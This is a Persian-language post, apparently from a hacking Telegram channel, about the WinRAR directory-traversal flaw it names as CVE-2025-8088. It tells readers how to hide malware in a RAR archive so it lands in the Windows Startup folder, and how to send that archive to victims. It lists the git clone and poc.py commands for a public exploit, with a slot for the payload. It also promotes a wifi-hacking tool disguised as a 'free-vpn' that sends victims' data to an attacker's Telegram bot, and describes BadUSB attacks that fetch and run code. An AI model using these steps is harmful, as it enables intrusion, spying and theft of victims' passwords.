آسیب پذیری WinRAR

یک آسیب‌پذیری بسیار خطرناک (Zero-Day) در WinRAR کشف شده که مهاجمان می‌تونن فایل‌های مخرب RAR رو طوری بسازن که بدون اجازه کاربر، بعد از استخراج وارد فولدرهای حساس مثل Startup بشن و بدافزارها رو اجرا
کنند

چطور اجرا می‌شه؟

با باز کردن یک آرشیو مخرب که مسیر فایل‌ها رو جابه‌جا می‌کنه (Directory Traversal با کمک Alternate Data Stream ویندوز)

راهکار:

نسخه‌های قبلی (تا ۷.۱۲) آسیب‌پذیر هستند. حتماً به WinRAR نسخه ۷.۱۳ یا بالاتر به‌صورت دستی آپدیت کنید؛ چون نرم‌افزار آپدیت خودکار ندارد

با زبان خیلی ساده توضیح میدم

هممون تاحال فایل rar استخراج کردیم و نرم افزار WinRAR رو روی ویندوز مون نصب داریم

سناریو حمله چجوریه ؟

ما‌ میایم یک بدافزار رو با یک فایل rar ترکیب میکنیم و اون بدافزار میتونه فرمت های زیر رو داشته باشه ک به‌راحتی روی هر ویندوزی اجرا بشه

فرمت هایی مثل :

• exe ( فایل اجرایی ویندوز )
• bat

اینا فرمت هایی هستند که روی هر ویندوزی اجرا میشن

حالا اون بدافزار میتونه هرچیزی باشه و هرکاری روی سیستم قربانی انجام بده مثل برداشتن عکس ،‌ فیلم ، پسورد های سیو شده گوگل و درکل بگم کنترل و دسترسی به کل سیستم قربانی

چجوری اجرا می‌شه ؟

فایل rar که درست کردیم رو برای قربانی میفرستیم (در ادامه ویدیو اموزشی میزارم چجوری درست کنیم ) و وقتی که فایل رو استخراج کنه بدافزار ما اجرا میشه و در منوی Startup ویندوز قرار میگیره (منوی Startup برنامه هایی هستند ک وقتی ویندوز ری استارت میشه به عنوان اولین برنامه ها اجرا میشن )
و بدون هیچ اروری و خیلی ساده قربانی هک میشه !


ویدئو ساختش رو ری اکشن بالا باشه میزارم

نحوه استفاده از اکسپلویت اسیب پذیری WinRAR

سوالی داشتید بپرسید:

@RIPPER_Support

دستورات استفاده شده در ویدئو

cd desktop

اگه ارور داد

cd onedrive/desktop

git clone https://github.com/sxyrxyy/CVE-2025-8088-WinRAR-Proof-of-Concept-PoC-Exploit-

python poc.py --decoy resume.txt --payload اسم بد افزار --drop "C:" --rar "C:\Program Files\WinRAR\rar.exe"

فایل حذف ویندوز

رمز : c5R%vUHGd@c&*b

مسئولیت هر گونه سوءاستفاده بر عهده خودتان میباشد

هر سوالی بود از اکانت پشتیبان بپرسید

دریافت چت آیدی و ساخت ربات مربوط به آموزش هک wifi

آیدی BotFather :
@BotFather

ربات دریافت Chat ID :
@userinfobot

ابزار هک wifi با اجرای فایل

• برای ارسال اطلاعات به تلگرام نیازی به روشن بودن فیلتر شکن نیست


• برای اجرا روی سیستم قربانی فایل کانفینگ باید کنار فایل free-vpn باشد ک بتواند اطلاعات شمارا بخواند و اطلاعات برای شما ارسال شود


• فقط یکبار توکن و چت آیدی وارد کنید کافیه و سیو میشه

آیدی اکانت پشتیبانی :

@RIPPER_Support

همین آموزش فقط با اتصال یک بُرد اگه حمایت بشه بزودی میزارم...

فایل های مورد نیاز این آموزش

رمز داخل فایل هست

آیدی پشتیبان :

@RIPPER_Support

حملات HID و بد‌ یو‌اس‌بی چیست؟

حتماً تا حالا فلش یا کیبورد USB دیدی که وقتی وصلش می‌کنی، سیستم بدون تأیید خاصی قبولش می‌کنه. حملات HID از همین اعتماد سیستم به دستگاه‌های ورودی استفاده می‌کنن!

بردهای Pro Micro یا digi spark شبیه یه فلش ساده هستن، اما وقتی وصل می‌شن، خودشون رو به‌جای کیبورد معرفی می‌کنن و می‌تونن در چند ثانیه هر دستوری رو مثل یک تایپیست حرفه‌ای توی سیستم وارد کنن.

باز کردن CMD یا PowerShell (دقیق تر بگم با دسترسی به این دو تا میشه کل سیستم طرف رو در اختیار قرار گرفت)

دانلود و اجرای کدهای مخرب

ساختن اکانت پنهانی یا تغییر تنظیمات سیستم